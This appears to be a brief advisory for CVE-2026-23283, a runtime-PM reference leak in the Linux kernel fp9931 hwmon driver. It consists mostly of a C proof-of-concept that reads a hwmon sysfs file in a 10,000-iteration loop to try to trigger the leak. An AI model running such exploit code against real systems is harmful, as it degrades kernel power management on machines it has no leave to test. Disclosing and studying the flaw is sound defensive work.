CVE-2026-23283: Linux内核fp9931驱动PM引用泄漏漏洞

/* * PoC Concept: Triggering the reference leak in fp9931_hwmon_read * This requires a system with the fp9931 driver loaded. * Compile: gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // The actual path depends on the system configuration, e.g., /sys/class/hwmon/hwmonX/in0_input #define HWMON_PATH "/sys/class/hwmon/hwmon0/in0_input" int main() { int fd; char buffer[32]; ssize_t bytes_read; printf("[+] Attempting to trigger PM reference leak in fp9931 driver...\n"); // Loop to repeatedly trigger the hwmon read function for(int i = 0; i < 10000; i++) { fd = open(HWMON_PATH, O_RDONLY); if (fd < 0) { perror("[-] Failed to open hwmon device"); continue; } bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { // If the underlying regmap_read fails in the kernel, // pm_runtime_put_autosuspend is skipped, causing the leak. // perror("[-] Read failed (Potential leak triggered)"); } close(fd); // Simple delay to avoid overwhelming the system immediately if (i % 100 == 0) { printf("[+] Iteration %d completed. Check PM runtime usage counters.\n", i); } } printf("[*] PoC execution finished.\n"); return 0; }